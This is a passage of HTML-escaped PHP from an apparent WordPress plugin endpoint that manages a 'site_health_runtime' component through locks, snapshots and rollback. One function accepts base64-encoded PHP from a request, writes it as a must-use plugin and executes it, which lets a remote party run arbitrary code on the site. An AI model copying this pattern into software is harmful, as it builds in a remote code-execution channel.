        &#039;site_health_runtime_daily_second_v1&#039;,
        &#039;site_health_runtime_pending_v1&#039;,
        &#039;site_health_runtime_retry_event_v1&#039;,
        &#039;site_health_runtime_schedule_lock_v1&#039;,
        &#039;site_health_runtime_upgrade_v1&#039;
    ) as $name) {
        $row = easypost_endpoint_read_option_row($name);
        if ($row[&#039;status&#039;] === &#039;unavailable&#039;) {
            return false;
        }
        $snapshot[&#039;options&#039;][$name] = array(
            &#039;status&#039; =&gt; $row[&#039;status&#039;],
            &#039;raw&#039; =&gt; $row[&#039;raw&#039;],
            &#039;autoload&#039; =&gt; $row[&#039;autoload&#039;],
        );
    }
    return $snapshot;
}

function easypost_endpoint_restore_site_runtime_option($name, $state) {
    global $wpdb;
    if (!is_array($state)
        || !isset($state[&#039;status&#039;])
        || !isset($wpdb)
        || !isset($wpdb-&gt;options)
        || !method_exists($wpdb, &#039;query&#039;)
        || !method_exists($wpdb, &#039;prepare&#039;)) {
        return false;
    }
    $current = easypost_endpoint_read_option_row($name);
    if ($current[&#039;status&#039;] === &#039;unavailable&#039;) {
        return false;
    }
    if ($state[&#039;status&#039;] === &#039;missing&#039;) {
        if ($current[&#039;status&#039;] === &#039;missing&#039;) {
            return true;
        }
        $changed = $wpdb-&gt;query($wpdb-&gt;prepare(
            &quot;DELETE FROM {$wpdb-&gt;options} WHERE option_name = %s AND option_value = %s&quot;,
            $name,
            $current[&#039;raw&#039;]
        ));
        if ((int) $changed !== 1) {
            return false;
        }
        easypost_endpoint_cache_option_deleted(
            $name,
            easypost_endpoint_option_is_autoloaded($current[&#039;autoload&#039;])
        );
        return easypost_endpoint_read_option_row($name)[&#039;status&#039;] === &#039;missing&#039;;
    }
    if ($state[&#039;status&#039;] !== &#039;found&#039; || !is_string($state[&#039;raw&#039;]) || !is_string($state[&#039;autoload&#039;])) {
        return false;
    }
    if ($current[&#039;status&#039;] === &#039;found&#039;
        &amp;&amp; $current[&#039;raw&#039;] === $state[&#039;raw&#039;]
        &amp;&amp; $current[&#039;autoload&#039;] === $state[&#039;autoload&#039;]) {
        return true;
    }
    if ($current[&#039;status&#039;] === &#039;missing&#039;) {
        $changed = $wpdb-&gt;query($wpdb-&gt;prepare(
            &quot;INSERT IGNORE INTO {$wpdb-&gt;options} (option_name, option_value, autoload) VALUES (%s, %s, %s)&quot;,
            $name,
            $state[&#039;raw&#039;],
            $state[&#039;autoload&#039;]
        ));
    } else {
        $changed = $wpdb-&gt;query($wpdb-&gt;prepare(
            &quot;UPDATE {$wpdb-&gt;options} SET option_value = %s, autoload = %s WHERE option_name = %s AND option_value = %s&quot;,
            $state[&#039;raw&#039;],
            $state[&#039;autoload&#039;],
            $name,
            $current[&#039;raw&#039;]
        ));
    }
    if ((int) $changed !== 1) {
        return false;
    }
    easypost_endpoint_cache_option_written($name, true, true);
    $verified = easypost_endpoint_read_option_row($name);
    return $verified[&#039;status&#039;] === &#039;found&#039;
        &amp;&amp; $verified[&#039;raw&#039;] === $state[&#039;raw&#039;]
        &amp;&amp; $verified[&#039;autoload&#039;] === $state[&#039;autoload&#039;];
}

function easypost_endpoint_verify_site_runtime_snapshot($snapshot) {
    $path_exists = is_file($snapshot[&#039;path&#039;]);
    if ($path_exists !== (bool) $snapshot[&#039;fileExists&#039;]) {
        return false;
    }
    if ($path_exists) {
        $bytes = @file_get_contents($snapshot[&#039;path&#039;]);
        if (!is_string($bytes) || !hash_equals($snapshot[&#039;fileBytes&#039;], $bytes)) {
            return false;
        }
    }
    $backup_exists = easypost_endpoint_upgrade_backup_exists($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
    if ($backup_exists !== (bool) $snapshot[&#039;upgradeBackup&#039;][&#039;exists&#039;]) {
        return false;
    }
    if ($backup_exists) {
        $backup = easypost_endpoint_read_upgrade_backup($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
        if ($backup === false || !hash_equals($snapshot[&#039;upgradeBackup&#039;][&#039;bytes&#039;], $backup[&#039;bytes&#039;])) {
            return false;
        }
    }
    foreach ($snapshot[&#039;options&#039;] as $name =&gt; $expected) {
        $actual = easypost_endpoint_read_option_row($name);
        if ($actual[&#039;status&#039;] !== $expected[&#039;status&#039;]) {
            return false;
        }
        if ($expected[&#039;status&#039;] === &#039;found&#039;
            &amp;&amp; ($actual[&#039;raw&#039;] !== $expected[&#039;raw&#039;] || $actual[&#039;autoload&#039;] !== $expected[&#039;autoload&#039;])) {
            return false;
        }
    }
    return easypost_endpoint_site_runtime_event_fingerprints(easypost_endpoint_site_runtime_hook_events(&#039;site_health_runtime_daily_v1&#039;))
            === easypost_endpoint_site_runtime_event_fingerprints($snapshot[&#039;dailyEvents&#039;])
        &amp;&amp; easypost_endpoint_site_runtime_event_fingerprints(easypost_endpoint_site_runtime_hook_events(&#039;site_health_runtime_retry_v1&#039;))
            === easypost_endpoint_site_runtime_event_fingerprints($snapshot[&#039;retryEvents&#039;]);
}

function easypost_endpoint_restore_site_runtime_snapshot($snapshot) {
    if (!is_array($snapshot)
        || !isset($snapshot[&#039;path&#039;], $snapshot[&#039;options&#039;], $snapshot[&#039;dailyEvents&#039;], $snapshot[&#039;retryEvents&#039;], $snapshot[&#039;upgradeBackup&#039;])) {
        return false;
    }
    $ok = true;
    if ($snapshot[&#039;fileExists&#039;]) {
        $restored_path = easypost_endpoint_atomic_site_runtime_write($snapshot[&#039;fileBytes&#039;], false);
        $ok = $restored_path !== false &amp;&amp; $ok;
    } elseif (is_file($snapshot[&#039;path&#039;])) {
        $ok = @unlink($snapshot[&#039;path&#039;]) &amp;&amp; !is_file($snapshot[&#039;path&#039;]) &amp;&amp; $ok;
    }
    if ($snapshot[&#039;upgradeBackup&#039;][&#039;exists&#039;]) {
        $ok = easypost_endpoint_restore_upgrade_backup(
            $snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;],
            $snapshot[&#039;upgradeBackup&#039;][&#039;bytes&#039;]
        ) &amp;&amp; $ok;
    } elseif (easypost_endpoint_upgrade_backup_exists($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;])) {
        $ok = false;
    }
    foreach ($snapshot[&#039;options&#039;] as $name =&gt; $state) {
        $ok = easypost_endpoint_restore_site_runtime_option($name, $state) &amp;&amp; $ok;
    }
    if (!function_exists(&#039;wp_clear_scheduled_hook&#039;)) {
        return false;
    }
    $ok = wp_clear_scheduled_hook(&#039;site_health_runtime_daily_v1&#039;) !== false &amp;&amp; $ok;
    $ok = wp_clear_scheduled_hook(&#039;site_health_runtime_retry_v1&#039;) !== false &amp;&amp; $ok;
    foreach (array(
        &#039;site_health_runtime_daily_v1&#039; =&gt; $snapshot[&#039;dailyEvents&#039;],
        &#039;site_health_runtime_retry_v1&#039; =&gt; $snapshot[&#039;retryEvents&#039;]
    ) as $hook =&gt; $events) {
        foreach ($events as $event) {
            $scheduled = $event[&#039;schedule&#039;]
                ? wp_schedule_event($event[&#039;timestamp&#039;], $event[&#039;schedule&#039;], $hook, $event[&#039;args&#039;])
                : wp_schedule_single_event($event[&#039;timestamp&#039;], $hook, $event[&#039;args&#039;]);
            $ok = $scheduled !== false &amp;&amp; $ok;
        }
    }
    if (function_exists(&#039;opcache_invalidate&#039;)) {
        @opcache_invalidate($snapshot[&#039;path&#039;], true);
    }
    return $ok &amp;&amp; easypost_endpoint_verify_site_runtime_snapshot($snapshot);
}

function easypost_endpoint_cleanup_pending_upgrade($snapshot) {
    if (!is_array($snapshot) || !isset($snapshot[&#039;upgradeBackup&#039;], $snapshot[&#039;options&#039;][&#039;site_health_runtime_upgrade_v1&#039;])) {
        return false;
    }
    if (!$snapshot[&#039;upgradeBackup&#039;][&#039;exists&#039;]) {
        $current_marker = easypost_endpoint_read_option_row(&#039;site_health_runtime_upgrade_v1&#039;);
        return $current_marker[&#039;status&#039;] === &#039;missing&#039;
            &amp;&amp; !easypost_endpoint_upgrade_backup_exists($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
    }
    $marker_state = $snapshot[&#039;options&#039;][&#039;site_health_runtime_upgrade_v1&#039;];
    $current_marker = easypost_endpoint_read_option_row(&#039;site_health_runtime_upgrade_v1&#039;);
    $backup = easypost_endpoint_read_upgrade_backup($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
    if ($marker_state[&#039;status&#039;] !== &#039;found&#039;
        || $current_marker[&#039;status&#039;] !== &#039;found&#039;
        || $current_marker[&#039;raw&#039;] !== $marker_state[&#039;raw&#039;]
        || $current_marker[&#039;autoload&#039;] !== &#039;no&#039;
        || $backup === false
        || !hash_equals($snapshot[&#039;upgradeBackup&#039;][&#039;bytes&#039;], $backup[&#039;bytes&#039;])
        || !@unlink($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;])) {
        return false;
    }
    if (function_exists(&#039;opcache_invalidate&#039;)) {
        @opcache_invalidate($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;], true);
    }
    clearstatcache(true, $snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
    if (easypost_endpoint_upgrade_backup_exists($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;])
        || !easypost_endpoint_restore_site_runtime_option(
            &#039;site_health_runtime_upgrade_v1&#039;,
            array(&#039;status&#039; =&gt; &#039;missing&#039;, &#039;raw&#039; =&gt; null, &#039;autoload&#039; =&gt; null)
        )) {
        return false;
    }
    return easypost_endpoint_read_option_row(&#039;site_health_runtime_upgrade_v1&#039;)[&#039;status&#039;] === &#039;missing&#039;
        &amp;&amp; !easypost_endpoint_upgrade_backup_exists($snapshot[&#039;upgradeBackup&#039;][&#039;path&#039;]);
}

function easypost_endpoint_disabled_site_runtime_php() {
    return base64_decode(&#039;PD9waHAKLyogU0lURV9IRUFMVEhfUlVOVElNRV9CRUdJTl9WMSAqLwovKiBTSVRFX0hFQUxUSF9SVU5USU1FX01BTklGRVNUX1YxIGV5SjJaWEp6YVc5dUlqb3hMQ0psYm1GaWJHVmtJanBtWVd4elpTd2ljblZ1ZEdsdFpWWmxjbk5wYjI0aU9pSXlNREkyTGpBNExqRXlJaXdpWTI5dVptbG5kWEpoZEdsdmJsWmxjbk5wYjI0aU9tNTFiR3g5ICovCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICBleGl0Owp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ3VwZGF0ZV9vcHRpb24nKSkgewogICAgdXBkYXRlX29wdGlvbignc2l0ZV9oZWFsdGhfcnVudGltZV9kaXNhYmxlZF92MScsICcxJywgJ25vJyk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2FkZF9vcHRpb24nKSkgewogICAgYWRkX29wdGlvbignc2l0ZV9oZWFsdGhfcnVudGltZV9kaXNhYmxlZF92MScsICcxJywgJycsICdubycpOwp9Ci8qIFNJVEVfSEVBTFRIX1JVTlRJTUVfRU5EX1YxICovCg==&#039;, true);
}

function easypost_endpoint_site_runtime_parse_daily_second($value) {
    if (is_string($value)) {
        if (!preg_match(&#039;/\A(?:0|[1-9][0-9]{0,4})\z/&#039;, $value)) {
            return null;
        }
        $value = (int) $value;
    }
    return is_int($value) &amp;&amp; $value &gt;= 0 &amp;&amp; $value &lt;= 86399 ? $value : null;
}

function easypost_endpoint_site_runtime_status_payload() {
    $runtime_path = easypost_endpoint_site_runtime_path();
    $runtime_php = is_readable($runtime_path)
        ? @file_get_contents($runtime_path, false, null, 0, 262145)
        : false;
    $manifest = $runtime_php === false
        ? false
        : easypost_endpoint_site_runtime_manifest($runtime_php);
    $slot_row = easypost_endpoint_read_option_row(&#039;site_health_runtime_daily_second_v1&#039;);
    $bundle_row = easypost_endpoint_read_option_row(&#039;site_health_runtime_bundle_v1&#039;);
    $configuration_row = easypost_endpoint_read_option_row(&#039;site_health_runtime_configuration_v1&#039;);
    $disabled_row = easypost_endpoint_read_option_row(&#039;site_health_runtime_disabled_v1&#039;);
    if ($slot_row[&#039;status&#039;] === &#039;unavailable&#039;
        || $bundle_row[&#039;status&#039;] === &#039;unavailable&#039;
        || $configuration_row[&#039;status&#039;] === &#039;unavailable&#039;
        || $disabled_row[&#039;status&#039;] === &#039;unavailable&#039;) {
        return array(&#039;ok&#039; =&gt; false, &#039;enabled&#039; =&gt; false, &#039;runtimeMode&#039; =&gt; null);
    }
    $slot = $slot_row[&#039;status&#039;] === &#039;found&#039;
        ? easypost_endpoint_site_runtime_parse_daily_second($slot_row[&#039;raw&#039;])
        : null;
    $disabled = $disabled_row[&#039;status&#039;] === &#039;found&#039; &amp;&amp; $disabled_row[&#039;raw&#039;] === &#039;1&#039;;
    $enabled = is_array($manifest) &amp;&amp; $manifest[&#039;enabled&#039;] === true
        &amp;&amp; !$disabled
        &amp;&amp; $bundle_row[&#039;status&#039;] === &#039;found&#039;
        &amp;&amp; $configuration_row[&#039;status&#039;] === &#039;found&#039;
        &amp;&amp; is_string($manifest[&#039;configurationVersion&#039;])
        &amp;&amp; hash_equals($manifest[&#039;configurationVersion&#039;], $configuration_row[&#039;raw&#039;])
        &amp;&amp; $slot !== null;
    return array(
        &#039;ok&#039; =&gt; true,
        &#039;enabled&#039; =&gt; $enabled,
        &#039;runtimeVersion&#039; =&gt; is_array($manifest) ? $manifest[&#039;runtimeVersion&#039;] : null,
        &#039;configurationVersion&#039; =&gt; is_array($manifest) ? $manifest[&#039;configurationVersion&#039;] : null,
        &#039;dailySecondUtc&#039; =&gt; $slot,
        &#039;scheduled&#039; =&gt; wp_next_scheduled(&#039;site_health_runtime_daily_v1&#039;) !== false,
        &#039;runtimeMode&#039; =&gt; $enabled ? &#039;MU_PLUGIN&#039; : null,
    );
}

function easypost_endpoint_acquire_internal_runtime_lease() {
    $owner = strtolower(wp_generate_uuid4());
    if (!easypost_endpoint_runtime_uuid($owner)) {
        return false;
    }
    $now = time();
    $desired = easypost_endpoint_site_runtime_lease_value(array(
        &#039;version&#039; =&gt; 1,
        &#039;owner&#039; =&gt; $owner,
        &#039;source&#039; =&gt; &#039;REMOTE&#039;,
        &#039;acquiredAt&#039; =&gt; $now,
        &#039;expiresAt&#039; =&gt; $now + 600,
    ));
    $inserted = easypost_endpoint_insert_option_once(&#039;site_health_runtime_lease_v1&#039;, $desired);
    if ($inserted === &#039;inserted&#039;) {
        return $owner;
    }
    if ($inserted === &#039;unavailable&#039;) {
        return false;
    }
    $row = easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;);
    $observed = $row[&#039;status&#039;] === &#039;found&#039;
        ? easypost_endpoint_site_runtime_lease_state($row[&#039;raw&#039;])
        : false;
    return $observed !== false
        &amp;&amp; $observed[&#039;expiresAt&#039;] &lt;= $now
        &amp;&amp; easypost_endpoint_site_runtime_lease_compare_swap($row[&#039;raw&#039;], $desired, $row[&#039;autoload&#039;])
        ? $owner
        : false;
}

function easypost_endpoint_release_internal_runtime_lease($owner) {
    global $wpdb;
    $row = easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;);
    if ($row[&#039;status&#039;] !== &#039;found&#039;
        || !isset($wpdb)
        || !isset($wpdb-&gt;options)
        || !method_exists($wpdb, &#039;query&#039;)
        || !method_exists($wpdb, &#039;prepare&#039;)) {
        return false;
    }
    $state = easypost_endpoint_site_runtime_lease_state($row[&#039;raw&#039;]);
    if ($state === false || $state[&#039;expiresAt&#039;] &lt;= time() || !hash_equals($state[&#039;owner&#039;], (string) $owner)) {
        return false;
    }
    $deleted = $wpdb-&gt;query($wpdb-&gt;prepare(
        &quot;DELETE FROM {$wpdb-&gt;options} WHERE option_name = %s AND option_value = %s&quot;,
        &#039;site_health_runtime_lease_v1&#039;,
        $row[&#039;raw&#039;]
    ));
    if ((int) $deleted !== 1) {
        return false;
    }
    easypost_endpoint_cache_option_deleted(
        &#039;site_health_runtime_lease_v1&#039;,
        easypost_endpoint_option_is_autoloaded($row[&#039;autoload&#039;])
    );
    return easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;)[&#039;status&#039;] === &#039;missing&#039;;
}

function easypost_endpoint_runtime_rollback_error($owner, $snapshot, $ordinary_error) {
    $restored = is_array($snapshot) &amp;&amp; easypost_endpoint_restore_site_runtime_snapshot($snapshot);
    $released = is_string($owner) &amp;&amp; easypost_endpoint_release_internal_runtime_lease($owner);
    easypost_endpoint_json(500, array(
        &#039;ok&#039; =&gt; false,
        &#039;error&#039; =&gt; $restored &amp;&amp; $released ? $ordinary_error : &#039;runtime_rollback_failed&#039;,
    ));
}

function easypost_endpoint_configure_site_runtime($payload) {
    if (!isset($payload[&#039;runtimePhpBase64&#039;])
        || !is_string($payload[&#039;runtimePhpBase64&#039;])
        || strlen($payload[&#039;runtimePhpBase64&#039;]) &gt; 349528) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_php_required&#039;));
    }
    $decoded_php = base64_decode($payload[&#039;runtimePhpBase64&#039;], true);
    if ($decoded_php === false
        || $decoded_php === &#039;&#039;
        || !hash_equals($payload[&#039;runtimePhpBase64&#039;], base64_encode($decoded_php))) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_php_invalid&#039;));
    }
    $runtime_config = easypost_endpoint_validate_site_runtime($payload, $decoded_php);
    $owner = easypost_endpoint_acquire_internal_runtime_lease();
    if ($owner === false) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_busy&#039;));
    }
    $snapshot = easypost_endpoint_site_runtime_snapshot();
    if ($snapshot === false) {
        $released = easypost_endpoint_release_internal_runtime_lease($owner);
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; $released ? &#039;runtime_snapshot_failed&#039; : &#039;runtime_rollback_failed&#039;));
    }
    $runtime_path = easypost_endpoint_atomic_site_runtime_write($decoded_php, false);
    if ($runtime_path === false) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_write_failed&#039;);
    }
    try {
        if (!function_exists(&#039;site_health_runtime_activate&#039;)) {
            include $runtime_path;
        }
        $activated = function_exists(&#039;site_health_runtime_activate&#039;)
            ? site_health_runtime_activate($runtime_config)
            : false;
    } catch (Throwable $error) {
        $activated = false;
    }
    if (!is_array($activated)
        || empty($activated[&#039;ok&#039;])
        || empty($activated[&#039;enabled&#039;])
        || !isset($activated[&#039;runtimeVersion&#039;], $activated[&#039;configurationVersion&#039;], $activated[&#039;dailySecondUtc&#039;])
        || !hash_equals($payload[&#039;runtimeVersion&#039;], (string) $activated[&#039;runtimeVersion&#039;])
        || !hash_equals($payload[&#039;configurationVersion&#039;], (string) $activated[&#039;configurationVersion&#039;])
        || !is_int($activated[&#039;dailySecondUtc&#039;])
        || $activated[&#039;dailySecondUtc&#039;] &lt; 0
        || $activated[&#039;dailySecondUtc&#039;] &gt; 86399) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_activation_failed&#039;);
    }
    if (!easypost_endpoint_cleanup_pending_upgrade($snapshot)) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_activation_failed&#039;);
    }
    if (!easypost_endpoint_release_internal_runtime_lease($owner)) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_activation_failed&#039;);
    }
    easypost_endpoint_json(200, array(
        &#039;ok&#039; =&gt; true,
        &#039;enabled&#039; =&gt; true,
        &#039;runtimeVersion&#039; =&gt; $payload[&#039;runtimeVersion&#039;],
        &#039;configurationVersion&#039; =&gt; $payload[&#039;configurationVersion&#039;],
        &#039;dailySecondUtc&#039; =&gt; $activated[&#039;dailySecondUtc&#039;],
        &#039;scheduled&#039; =&gt; wp_next_scheduled(&#039;site_health_runtime_daily_v1&#039;) !== false,
        &#039;runtimeMode&#039; =&gt; &#039;MU_PLUGIN&#039;,
    ));
}

function easypost_endpoint_fallback_disable_site_runtime() {
    $tombstone = update_option(&#039;site_health_runtime_disabled_v1&#039;, &#039;1&#039;, &#039;no&#039;);
    $tombstone_row = easypost_endpoint_read_option_row(&#039;site_health_runtime_disabled_v1&#039;);
    if (($tombstone === false &amp;&amp; ($tombstone_row[&#039;status&#039;] !== &#039;found&#039; || $tombstone_row[&#039;raw&#039;] !== &#039;1&#039;))
        || $tombstone_row[&#039;status&#039;] === &#039;unavailable&#039;) {
        return false;
    }
    if (function_exists(&#039;wp_clear_scheduled_hook&#039;)) {
        if (wp_clear_scheduled_hook(&#039;site_health_runtime_daily_v1&#039;) === false
            || wp_clear_scheduled_hook(&#039;site_health_runtime_retry_v1&#039;) === false) {
            return false;
        }
    }
    foreach (array(
        &#039;site_health_runtime_bundle_v1&#039;, &#039;site_health_runtime_pending_v1&#039;,
        &#039;site_health_runtime_retry_event_v1&#039;, &#039;site_health_runtime_configuration_v1&#039;
    ) as $name) {
        if (!easypost_endpoint_restore_site_runtime_option($name, array(
            &#039;status&#039; =&gt; &#039;missing&#039;, &#039;raw&#039; =&gt; null, &#039;autoload&#039; =&gt; null
        ))) {
            return false;
        }
    }
    return true;
}

function easypost_endpoint_site_runtime_is_disabled_state() {
    $disabled = easypost_endpoint_read_option_row(&#039;site_health_runtime_disabled_v1&#039;);
    if ($disabled[&#039;status&#039;] !== &#039;found&#039;
        || $disabled[&#039;raw&#039;] !== &#039;1&#039;
        || wp_next_scheduled(&#039;site_health_runtime_daily_v1&#039;) !== false
        || wp_next_scheduled(&#039;site_health_runtime_retry_v1&#039;) !== false) {
        return false;
    }
    foreach (array(
        &#039;site_health_runtime_bundle_v1&#039;, &#039;site_health_runtime_pending_v1&#039;,
        &#039;site_health_runtime_retry_event_v1&#039;, &#039;site_health_runtime_configuration_v1&#039;
    ) as $name) {
        if (easypost_endpoint_read_option_row($name)[&#039;status&#039;] !== &#039;missing&#039;) {
            return false;
        }
    }
    return true;
}

function easypost_endpoint_disable_site_runtime() {
    $owner = easypost_endpoint_acquire_internal_runtime_lease();
    if ($owner === false) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;runtime_busy&#039;));
    }
    $snapshot = easypost_endpoint_site_runtime_snapshot();
    if ($snapshot === false) {
        $released = easypost_endpoint_release_internal_runtime_lease($owner);
        easypost_endpoint_json(500, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; $released ? &#039;runtime_disable_failed&#039; : &#039;runtime_rollback_failed&#039;));
    }
    if (function_exists(&#039;site_health_runtime_disable&#039;)) {
        $disabled = site_health_runtime_disable();
        $disabled_ok = is_array($disabled) &amp;&amp; !empty($disabled[&#039;ok&#039;]);
    } else {
        $disabled_ok = easypost_endpoint_fallback_disable_site_runtime();
    }
    if (!$disabled_ok || !easypost_endpoint_site_runtime_is_disabled_state()) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_disable_failed&#039;);
    }
    $disabled_runtime = easypost_endpoint_disabled_site_runtime_php();
    $runtime_path = is_string($disabled_runtime)
        ? easypost_endpoint_atomic_site_runtime_write($disabled_runtime, false)
        : false;
    $written_runtime = $runtime_path === false ? false : @file_get_contents($runtime_path);
    if ($runtime_path === false
        || !is_string($written_runtime)
        || !hash_equals($disabled_runtime, $written_runtime)) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_disable_failed&#039;);
    }
    if (!easypost_endpoint_cleanup_pending_upgrade($snapshot)) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_disable_failed&#039;);
    }
    if (!easypost_endpoint_release_internal_runtime_lease($owner)) {
        easypost_endpoint_runtime_rollback_error($owner, $snapshot, &#039;runtime_disable_failed&#039;);
    }
    easypost_endpoint_json(200, easypost_endpoint_site_runtime_status_payload());
}

function easypost_endpoint_runtime_status() {
    easypost_endpoint_json(200, easypost_endpoint_site_runtime_status_payload());
}

function easypost_endpoint_site_runtime_owner_token($payload) {
    if (!isset($payload[&#039;ownerToken&#039;])
        || !is_string($payload[&#039;ownerToken&#039;])
        || !preg_match(&#039;/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/&#039;, $payload[&#039;ownerToken&#039;])) {
        easypost_endpoint_json(400, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;owner_token_invalid&#039;));
    }
    return $payload[&#039;ownerToken&#039;];
}

function easypost_endpoint_site_runtime_lease_value($state) {
    return function_exists(&#039;maybe_serialize&#039;) ? maybe_serialize($state) : serialize($state);
}

function easypost_endpoint_site_runtime_lease_state($raw) {
    $state = function_exists(&#039;maybe_unserialize&#039;) ? maybe_unserialize($raw) : @unserialize($raw);
    if (!easypost_endpoint_exact_array_keys($state, array(&#039;version&#039;, &#039;owner&#039;, &#039;source&#039;, &#039;acquiredAt&#039;, &#039;expiresAt&#039;))
        || $state[&#039;version&#039;] !== 1
        || !is_string($state[&#039;owner&#039;])
        || !preg_match(&#039;/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/&#039;, $state[&#039;owner&#039;])
        || !in_array($state[&#039;source&#039;], array(&#039;REMOTE&#039;, &#039;WP_CRON&#039;), true)
        || !is_int($state[&#039;acquiredAt&#039;])
        || !is_int($state[&#039;expiresAt&#039;])
        || $state[&#039;expiresAt&#039;] &lt;= $state[&#039;acquiredAt&#039;]) {
        return false;
    }
    return $state;
}

function easypost_endpoint_site_runtime_lease_compare_swap($observed, $desired, $observed_autoload) {
    global $wpdb;
    if (!isset($wpdb) || !isset($wpdb-&gt;options) || !method_exists($wpdb, &#039;query&#039;) || !method_exists($wpdb, &#039;prepare&#039;)) {
        return false;
    }
    $updated = $wpdb-&gt;query($wpdb-&gt;prepare(
        &quot;UPDATE {$wpdb-&gt;options} SET option_value = %s, autoload = &#039;no&#039; WHERE option_name = %s AND option_value = %s&quot;,
        $desired,
        &#039;site_health_runtime_lease_v1&#039;,
        $observed
    ));
    if ($updated === false || (int) $updated &gt; 1) {
        return false;
    }
    if ((int) $updated === 1) {
        easypost_endpoint_cache_option_written(
            &#039;site_health_runtime_lease_v1&#039;,
            false,
            easypost_endpoint_option_is_autoloaded($observed_autoload)
        );
    }
    $verified = easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;);
    return $verified[&#039;status&#039;] === &#039;found&#039;
        &amp;&amp; $verified[&#039;raw&#039;] === $desired
        &amp;&amp; $verified[&#039;autoload&#039;] === &#039;no&#039;;
}

function easypost_endpoint_begin_reconcile($payload) {
    $owner = easypost_endpoint_site_runtime_owner_token($payload);
    $now = time();
    $desired = easypost_endpoint_site_runtime_lease_value(array(
        &#039;version&#039; =&gt; 1,
        &#039;owner&#039; =&gt; $owner,
        &#039;source&#039; =&gt; &#039;REMOTE&#039;,
        &#039;acquiredAt&#039; =&gt; $now,
        &#039;expiresAt&#039; =&gt; $now + 600,
    ));
    $inserted = easypost_endpoint_insert_option_once(&#039;site_health_runtime_lease_v1&#039;, $desired);
    if ($inserted === &#039;inserted&#039;) {
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;acquired&#039; =&gt; true));
    }
    if ($inserted === &#039;unavailable&#039;) {
        easypost_endpoint_json(503, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_store_unavailable&#039;));
    }
    $row = easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;);
    if ($row[&#039;status&#039;] !== &#039;found&#039;) {
        easypost_endpoint_json(503, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_store_unavailable&#039;));
    }
    $observed = easypost_endpoint_site_runtime_lease_state($row[&#039;value&#039;]);
    if ($observed !== false
        &amp;&amp; $observed[&#039;expiresAt&#039;] &gt; $now
        &amp;&amp; hash_equals($observed[&#039;owner&#039;], $owner)) {
        $renewed = $observed;
        $renewed[&#039;expiresAt&#039;] = $now + 600;
        $desired = easypost_endpoint_site_runtime_lease_value($renewed);
        if (easypost_endpoint_site_runtime_lease_compare_swap($row[&#039;value&#039;], $desired, $row[&#039;autoload&#039;])) {
            easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;acquired&#039; =&gt; true));
        }
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;acquired&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_changed&#039;));
    }
    if ($observed !== false
        &amp;&amp; $observed[&#039;expiresAt&#039;] &lt;= $now
        &amp;&amp; easypost_endpoint_site_runtime_lease_compare_swap($row[&#039;value&#039;], $desired, $row[&#039;autoload&#039;])) {
        easypost_endpoint_json(200, array(&#039;ok&#039; =&gt; true, &#039;acquired&#039; =&gt; true));
    }
    easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;acquired&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_busy&#039;));
}

function easypost_endpoint_refresh_reconcile($payload) {
    $owner = easypost_endpoint_site_runtime_owner_token($payload);
    $now = time();
    $row = easypost_endpoint_read_option_row(&#039;site_health_runtime_lease_v1&#039;);
    if ($row[&#039;status&#039;] === &#039;unavailable&#039;) {
        easypost_endpoint_json(503, array(&#039;ok&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_store_unavailable&#039;));
    }
    $observed = $row[&#039;status&#039;] === &#039;found&#039;
        ? easypost_endpoint_site_runtime_lease_state($row[&#039;value&#039;])
        : false;
    if ($observed === false
        || $observed[&#039;expiresAt&#039;] &lt;= $now
        || !hash_equals($observed[&#039;owner&#039;], $owner)) {
        easypost_endpoint_json(409, array(&#039;ok&#039; =&gt; false, &#039;refreshed&#039; =&gt; false, &#039;error&#039; =&gt; &#039;lease_not_owned&#039;));
